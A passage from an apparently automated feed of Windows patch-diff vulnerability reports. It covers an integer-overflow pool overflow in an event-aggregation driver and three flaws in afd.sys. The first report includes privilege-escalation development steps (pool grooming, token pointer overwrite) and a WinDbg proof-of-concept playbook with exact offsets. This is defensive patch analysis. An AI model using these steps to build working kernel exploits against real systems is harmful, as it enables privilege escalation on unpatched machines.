&lt;li&gt;Pass a valid pointer for the &lt;code&gt;Src&lt;/code&gt; data argument containing controlled payload data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; The kernel allocates a &lt;code&gt;0x10&lt;/code&gt; pool block, followed immediately by a &lt;code&gt;memmove&lt;/code&gt; of &lt;code&gt;0xFFFFFFF0&lt;/code&gt; (~4 GiB) bytes. This causes a kernel access violation. Bugcheck &lt;code&gt;0x19&lt;/code&gt; (BAD_POOL_HEADER) or &lt;code&gt;0x50&lt;/code&gt; (PAGE_FAULT_IN_NONPAGED_AREA) will occur.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Trigger 2: WNF Parser (no reachable OOB)&lt;/h3&gt;
&lt;p&gt;No exploitable trigger exists for the unpatched WNF parser. The unpatched &lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; already validates that the buffer holds the optional 16-byte fields it processes (&lt;code&gt;a5 &amp;gt;= 16*nfields + 8&lt;/code&gt;) and that it holds the payload region (&lt;code&gt;a5 &amp;gt;= count + 8&lt;/code&gt;), and it never references header bit &lt;code&gt;0x19&lt;/code&gt;. A crafted short buffer with flag bits set is rejected by these checks rather than read out of bounds. The patched path adds an additional optional field (header bit &lt;code&gt;0x19&lt;/code&gt;) with its own validation, so the behavior is stricter, not a fix for a reachable read past the buffer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive Provided (Overflow):&lt;/strong&gt; A highly controllable kernel pool overflow via &lt;code&gt;memmove&lt;/code&gt;. The data written is dictated by the caller's input buffer, providing a deterministic linear pool overflow relative to the &lt;code&gt;EtvA&lt;/code&gt; pool block. The copy length is the low 32 bits of &lt;code&gt;Size&lt;/code&gt; (up to ~4 GiB), so in practice the copy runs off the end of valid memory quickly; controlled corruption requires the copy to be arranged to stop within a groomed region.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Development Steps for Full Exploit:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heap Grooming:&lt;/strong&gt; Use predictable pool allocations to place sensitive kernel objects (e.g., process tokens, &lt;code&gt;KTHREAD&lt;/code&gt; structures) or known vulnerable structures adjacent to the &lt;code&gt;EtvA&lt;/code&gt; allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Preparation:&lt;/strong&gt; Craft the &lt;code&gt;Src&lt;/code&gt; data payload so that the overflow overwrites function pointers or reference counts in the adjacent object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation:&lt;/strong&gt; Overwrite the &lt;code&gt;TOKEN&lt;/code&gt; pointer in the target &lt;code&gt;EPROCESS&lt;/code&gt; structure with a pointer to &lt;code&gt;System&lt;/code&gt;'s token, or hijack execution via a modified function pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;The unpatched binary uses &lt;code&gt;PagedPool&lt;/code&gt; (executable). This makes ring-0 code execution trivial if SMEP/SMAP are disabled or bypassed, as shellcode can be placed directly in the overflowed pool block.&lt;/li&gt;
&lt;li&gt;In the patched binary (and modern Windows generally), &lt;code&gt;ExAllocatePool2&lt;/code&gt; enforces non-executable (NX) memory (&lt;code&gt;POOL_FLAG_PAGED&lt;/code&gt;), neutralizing direct shellcode execution and forcing ROP/JOP-based exploit strategies.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To build and verify a PoC for these vulnerabilities, use the following WinDbg/KD commands on the &lt;strong&gt;unpatched&lt;/strong&gt; binary.&lt;/p&gt;
&lt;h3&gt;Target 1: &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (Integer Overflow)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoint:&lt;/strong&gt; &lt;code&gt;bp cea_unpatched!EaSignalAggregatedEvent&lt;/code&gt; (Address: &lt;code&gt;0x1c00034b0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect at the breakpoint:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;Inspect the stack to read the arguments based on the calling convention. In a standard Microsoft x64 ABI, &lt;code&gt;arg1&lt;/code&gt; is in &lt;code&gt;RCX&lt;/code&gt;, &lt;code&gt;arg2&lt;/code&gt; in &lt;code&gt;RDX&lt;/code&gt;, &lt;code&gt;arg3&lt;/code&gt; in &lt;code&gt;R8&lt;/code&gt;, &lt;code&gt;arg4&lt;/code&gt; in &lt;code&gt;R9&lt;/code&gt;; the remaining parameters (including the two optional-field pointers and the &lt;code&gt;Size&lt;/code&gt; value) are on the stack. Verify the low 32 bits of &lt;code&gt;Size&lt;/code&gt; are set to &lt;code&gt;0xFFFFFFF0&lt;/code&gt; and both optional-field pointers are non-NULL.&lt;/li&gt;
&lt;li&gt;Step over (&lt;code&gt;p&lt;/code&gt;) until the 32-bit &lt;code&gt;add ebx, eax&lt;/code&gt; instruction (&lt;code&gt;0x1C00035DF&lt;/code&gt;) combining the sizes is hit. You will see the destination register (&lt;code&gt;EBX&lt;/code&gt;) contain a wrapped small value (e.g., &lt;code&gt;0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Step into the &lt;code&gt;call ExAllocatePoolWithTag&lt;/code&gt; (&lt;code&gt;0x1C00035F0&lt;/code&gt;). Verify it returns a valid, but tiny (&lt;code&gt;0x10&lt;/code&gt;), pointer.&lt;/li&gt;
&lt;li&gt;Step to the &lt;code&gt;call memmove&lt;/code&gt; (&lt;code&gt;0x1C0003645&lt;/code&gt;). Verify the size argument register (&lt;code&gt;R8&lt;/code&gt;, loaded from &lt;code&gt;r15&lt;/code&gt; at &lt;code&gt;0x1C0003642&lt;/code&gt;) holds &lt;code&gt;0xFFFFFFF0&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key instructions/offsets:&lt;/strong&gt; The 32-bit &lt;code&gt;add ebx, eax&lt;/code&gt; instruction (&lt;code&gt;0x1C00035DF&lt;/code&gt;) computing the truncated size before the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call is the vulnerable point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt; Open a handle to the driver/device exposing &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; and invoke the API mapping to it, passing your crafted parameters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; A bugcheck &lt;code&gt;0x19&lt;/code&gt; (BAD_POOL_HEADER) when &lt;code&gt;memmove&lt;/code&gt; corrupts the pool, or an immediate &lt;code&gt;0x50&lt;/code&gt; (PAGE_FAULT) if the copy runs off the end of a valid memory page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Target 2: &lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; (parser validation, no OOB)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp cea_unpatched!WnfEventCallback&lt;/code&gt; (Address: &lt;code&gt;0x1c00018c8&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp cea_unpatched!AggregateEventWnfCallback (sub_1C00116A0)&lt;/code&gt; (Address: &lt;code&gt;0x1c00116a0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect at the breakpoint:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;WnfEventCallback&lt;/code&gt;: &lt;code&gt;RCX&lt;/code&gt; = context, &lt;code&gt;R9&lt;/code&gt; = pointer to WNF data buffer; the buffer size (&lt;code&gt;a5&lt;/code&gt;) arrives on the stack and is loaded into &lt;code&gt;r9d&lt;/code&gt; at &lt;code&gt;0x1C00019B2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dump the WNF buffer using &lt;code&gt;db R9 L20&lt;/code&gt;. Verify your packed header is present and the flags are set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key instructions/offsets:&lt;/strong&gt; Observe that the flag-derived optional-field check is already present: &lt;code&gt;shl rdx, 4&lt;/code&gt; (&lt;code&gt;0x1C00019FA&lt;/code&gt;) then &lt;code&gt;cmp r9, rcx&lt;/code&gt; (&lt;code&gt;0x1C0001A02&lt;/code&gt;) enforcing &lt;code&gt;a5 &amp;gt;= 16*nfields + 8&lt;/code&gt;, and &lt;code&gt;cmp r9, count+8&lt;/code&gt; at &lt;code&gt;0x1C0001A41&lt;/code&gt;. A short buffer takes the error branch (&lt;code&gt;ecx = 0x14&lt;/code&gt;/&lt;code&gt;0x28&lt;/code&gt;) rather than reading past the buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt; Identify the WNF state name passed to the subscription in &lt;code&gt;AggregateEventWnfCallback (sub_1C00116A0)&lt;/code&gt;. From a user-mode application, call &lt;code&gt;NtUpdateWnfStateData&lt;/code&gt; with the discovered state name, providing a short buffer with flag bits set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; The parser returns an error status for the short buffer; no out-of-bounds access occurs on this path.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.594, Type: Refactor): WNF data parser; the already-present inline bounds checking was moved into &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008A98)&lt;/code&gt;, and one new optional 8-byte field (header bit &lt;code&gt;0x19&lt;/code&gt;) was added with matching validation. No pre-existing OOB read; not a security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt;&lt;/strong&gt; (Sim: 0.853, Type: Security): Exported API; added integer overflow checks during allocation size calculation and migrated to safe memory copying.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BripCreateBrokeredEvent (sub_1C0005340)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.745, Type: Behavioral): RPC marshaling for brokered event creation. SID validation via &lt;code&gt;RtlValidSid&lt;/code&gt;/&lt;code&gt;RtlLengthSid&lt;/code&gt; is present in both versions; the change restructures the &lt;code&gt;NdrClientCall3&lt;/code&gt; invocation and reduces the &lt;code&gt;BripCreateEventContext&lt;/code&gt; signature, whose allocation migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaiDuplicateConditionsVisitNode (sub_1C0003840)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.842, Type: Security): Pool hardening; migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EapQueryAggregatedEventConditionPostVisitNode (sub_1C0007760)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.905, Type: Behavioral): Array growth function; the allocation size is &lt;code&gt;48 * (count + 5)&lt;/code&gt; where &lt;code&gt;count&lt;/code&gt; is a 16-bit field (&lt;code&gt;*((unsigned __int16 *)a1 + 4)&lt;/code&gt;, max &lt;code&gt;0xFFFF&lt;/code&gt;), so the multiply cannot overflow. Only change is the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; -&amp;gt; &lt;code&gt;ExAllocatePool2&lt;/code&gt; migration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EapTreeTraverse (sub_1C00062D0)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.944, Type: Behavioral): Stack parsing; the growth allocation is &lt;code&gt;16 * v7 + 80&lt;/code&gt; computed in 64 bits where &lt;code&gt;v7&lt;/code&gt; is a 16-bit counter (max &lt;code&gt;0xFFFF&lt;/code&gt;), so no overflow is possible. Only change is the &lt;code&gt;ExAllocatePool2&lt;/code&gt; migration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EACreateAggregateEvent&lt;/code&gt;&lt;/strong&gt; (Sim: 0.95, Type: Behavioral): Fixed allocation size pool hardening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BripCreateBindingContext (sub_1C0005680)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.95, Type: Behavioral): Pool API modernization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaiProcessNotification (sub_1C0001BC4)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.942, Type: Behavioral): Core event condition state logic restructured; improved tracking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaiEnableAggregateEvent (sub_1C00027BC)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.93, Type: Behavioral): WNF state init function updated to use &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BripCleanupEventTable (sub_1C00050B0)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.88, Type: Behavioral): Cleanup/destructor; simplified loop variable tracking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EapFreeSimpleEventParameters (sub_1C00071BC)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9, Type: Cosmetic): Redundant variable cleanup in a free-loop.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;
&lt;em&gt;(Note: While no completely new unmatched functions were added, security logic was injected via modified matched functions calling new subroutines like &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008A98)&lt;/code&gt; and &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008B90)&lt;/code&gt; which were likely linked statically or present in previously unused space).&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High for the integer-overflow finding. The 32-bit truncated size arithmetic in the unpatched &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; and the explicit &lt;code&gt;if (total &amp;lt; base)&lt;/code&gt; overflow check returning &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; in the patched &lt;code&gt;EapSignalContentPrepareEventForPublishing&lt;/code&gt; are both directly present in the binaries. The WNF parser change does not fix a pre-existing out-of-bounds read: the unpatched build already validates the fields it parses, and the patch adds a new validated field plus a refactor. The pool-API migration is a defense-in-depth hardening measure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;The PoC relies on &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; being reachable from an attacker-controlled execution context. The exact caller (IOCTL, RPC, or in-kernel client) needs to be mapped by the exploit developer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt; Verify the exact entry point that routes to &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; with attacker-influenced &lt;code&gt;Size&lt;/code&gt; to test Trigger 1.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Out-of-bounds read/write via feature-gated length clamp in AfdRestartSuperAcceptGetAddress (CWE-787) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_89df7a8c-afd-report-20260625-185253.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/afd_89df7a8c-afd-report-20260625-185253.html</id><summary type="html">&lt;p&gt;KB5073722&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.992&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1073&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1067&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch makes an existing length clamp in &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; unconditional. In the unpatched build that clamp is only executed when a servicing feature flag is enabled, so on the flag-off path a kernel-mode &lt;code&gt;memmove&lt;/code&gt; runs with a length taken from a 16-bit &lt;code&gt;AddressLength&lt;/code&gt; field with no bound (&lt;strong&gt;HIGH — out-of-bounds read/write, CWE-787 / CWE-125&lt;/strong&gt;). The patch also removes a conditional that passed &lt;code&gt;AccessMode = KernelMode&lt;/code&gt; to &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; in &lt;code&gt;AfdQueryHandles&lt;/code&gt; and &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;, so the &lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt; open of the caller's own transport file objects now honours the caller's processor mode (&lt;strong&gt;MEDIUM — missing privilege check, CWE-862&lt;/strong&gt;). Finally it adds a device-stack match check in &lt;code&gt;AfdCreateConnection&lt;/code&gt; before issuing a device control on a caller-supplied handle (&lt;strong&gt;MEDIUM — improper validation, CWE-20&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;The remaining two changed functions are servicing feature-flag teardown with no security-relevant logic delta.&lt;/p&gt;
&lt;p&gt;Addresses in this report are the real virtual addresses shown in the disassembly (image base &lt;code&gt;0x1C0000000&lt;/code&gt;). &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; relocated from &lt;code&gt;0x1C00641C0&lt;/code&gt; (unpatched) to &lt;code&gt;0x1C00641D0&lt;/code&gt; (patched); other cited functions are matched by content.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;2.1 HIGH — OOB Read/Write in &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Out-of-bounds write / out-of-bounds read via unclamped &lt;code&gt;memmove&lt;/code&gt; length (CWE-787 / CWE-125)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; (unpatched &lt;code&gt;0x1C00641C0&lt;/code&gt;, patched &lt;code&gt;0x1C00641D0&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; On completion of a SuperAccept (accept-with-address) operation, &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; maps the buffer that the transport filled with a &lt;code&gt;TRANSPORT_ADDRESS&lt;/code&gt;/&lt;code&gt;TA_ADDRESS&lt;/code&gt; and compacts it in place. It computes a copy length as &lt;code&gt;size = *(word)(buffer + 8) + 2&lt;/code&gt; — the 16-bit &lt;code&gt;AddressLength&lt;/code&gt; field plus 2 — and then calls &lt;code&gt;memmove(buffer, buffer + 0xa, size)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the unpatched build the clamp that would constrain &lt;code&gt;size&lt;/code&gt; to &lt;code&gt;MDL-&amp;gt;ByteCount - offset&lt;/code&gt; is executed &lt;strong&gt;only when &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_4201696571_57655968)&lt;/code&gt; returns non-zero&lt;/strong&gt;. When that feature flag is off, the &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C00642DE&lt;/code&gt; jumps straight to the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C0064304&lt;/code&gt;, so the copy runs with &lt;code&gt;size&lt;/code&gt; bounded only by the 16-bit field (up to &lt;code&gt;0x10001&lt;/code&gt;). Because destination &lt;code&gt;buffer&lt;/code&gt; and source &lt;code&gt;buffer + 0xa&lt;/code&gt; both point inside the mapped completion buffer, a &lt;code&gt;size&lt;/code&gt; larger than the mapped region reads past the source and writes past the destination in kernel context.&lt;/p&gt;
&lt;p&gt;The patch makes a bound unconditional. A new flag &lt;code&gt;g_Feature_499346745_59190809&lt;/code&gt; selects between two clamps, and &lt;strong&gt;both branches clamp&lt;/strong&gt;:
- flag on (the default-carrying path): &lt;code&gt;size&lt;/code&gt; is clamped to &lt;code&gt;IoStatus.Information - 0xa&lt;/code&gt;, i.e. the number of bytes the transport actually reported returning;
- flag off: &lt;code&gt;size&lt;/code&gt; is clamped to the legacy &lt;code&gt;MDL-&amp;gt;ByteCount - offset&lt;/code&gt; formula.&lt;/p&gt;
&lt;p&gt;No path now reaches the &lt;code&gt;memmove&lt;/code&gt; without a clamp.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scope note.&lt;/strong&gt; The &lt;code&gt;AddressLength&lt;/code&gt; value originates from the buffer the transport writes on accept completion, read back through &lt;code&gt;MDL-&amp;gt;MappedSystemVa&lt;/code&gt;. The tightened patched clamp (to &lt;code&gt;IoStatus.Information - 0xa&lt;/code&gt;) indicates the concern is an &lt;code&gt;AddressLength&lt;/code&gt; field that claims more than the transport actually wrote. A concrete attacker-controlled oversized value could not be demonstrated from the two binaries alone; the demonstrable fact is that the kernel-mode &lt;code&gt;memmove&lt;/code&gt; length was unbounded on the flag-off path and is bounded in every path after the patch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point and data flow (as reachable in the binary):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on the AFD endpoint with the SuperAccept IOCTL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdDispatch&lt;/code&gt; → &lt;code&gt;AfdDispatchDeviceControl&lt;/code&gt; (IRP_MJ_DEVICE_CONTROL) → &lt;code&gt;AfdSuperAccept&lt;/code&gt;; the IRP is pended on the transport.&lt;/li&gt;
&lt;li&gt;The transport completes the accept asynchronously; AFD's restart path runs &lt;code&gt;AfdContinueSuperAccept&lt;/code&gt;, which reaches &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inside that function the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C0064304&lt;/code&gt; (unpatched) runs with the computed &lt;code&gt;size&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 MEDIUM — KernelMode &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; in &lt;code&gt;AfdQueryHandles&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing privilege/authorization check (CWE-862), via &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; with &lt;code&gt;AccessMode = KernelMode&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdQueryHandles&lt;/code&gt; (&lt;code&gt;0x1C0031B70&lt;/code&gt; in both builds)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;AfdQueryHandles&lt;/code&gt; opens handles to the endpoint's address-object file object (&lt;code&gt;endpoint + 0x18&lt;/code&gt;) and, when connected, the connection object's file object, each with &lt;code&gt;DesiredAccess = 0x02000000&lt;/code&gt; (&lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt;). In the unpatched build the &lt;code&gt;AccessMode&lt;/code&gt; argument is chosen conditionally: when &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_3932725563_57984164)&lt;/code&gt; returns FALSE &lt;strong&gt;and&lt;/strong&gt; the endpoint flag &lt;code&gt;0x10000&lt;/code&gt; is clear (&lt;code&gt;*(endpoint + 0x10) &amp;amp; 0x10000 == 0&lt;/code&gt;), &lt;code&gt;AccessMode&lt;/code&gt; is set to &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;KernelMode&lt;/code&gt;). A &lt;code&gt;KernelMode&lt;/code&gt; open skips the &lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt; privilege check (&lt;code&gt;SeSecurityPrivilege&lt;/code&gt;) and the security-descriptor check. Both &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; sites in the routine follow the same pattern.&lt;/p&gt;
&lt;p&gt;The effect is that a caller without &lt;code&gt;SeSecurityPrivilege&lt;/code&gt; can obtain a handle carrying &lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt; to the transport file objects underlying its own socket. The patch removes the conditional and always passes the caller's processor mode (the value in &lt;code&gt;sil&lt;/code&gt;, the routine's &lt;code&gt;arg3&lt;/code&gt;) to &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;2.3 MEDIUM — KernelMode &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; in &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing privilege/authorization check (CWE-862)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdTdiCreateAO&lt;/code&gt; (unpatched &lt;code&gt;0x1C0039D88&lt;/code&gt;, patched &lt;code&gt;0x1C0039CF8&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Same pattern as §2.2, in the address-object creation (bind) path. When &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_3932725563_57984164)&lt;/code&gt; is FALSE and endpoint flag &lt;code&gt;0x10000&lt;/code&gt; is clear, &lt;code&gt;AccessMode&lt;/code&gt; is forced to &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;KernelMode&lt;/code&gt;) for the &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; open of the transport file object, again with &lt;code&gt;DesiredAccess = 0x02000000&lt;/code&gt;. The patch removes the conditional and always passes the caller's processor mode.&lt;/p&gt;
&lt;h3&gt;2.4 MEDIUM — Missing handle/device validation in &lt;code&gt;AfdCreateConnection&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Improper input validation of a caller-supplied handle's device stack (CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdCreateConnection&lt;/code&gt; (&lt;code&gt;0x1C0047F50&lt;/code&gt; in both builds)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The unpatched &lt;code&gt;AfdCreateConnection&lt;/code&gt; issues &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; on a caller-supplied handle's file object without confirming that the file object sits on the same device stack as the connection's transport device. The patch adds an &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; comparison: it takes the base attachment device of the connection's device object (&lt;code&gt;connection + 0x18&lt;/code&gt;) and of the file object's related device object, and returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) if they differ, before calling &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
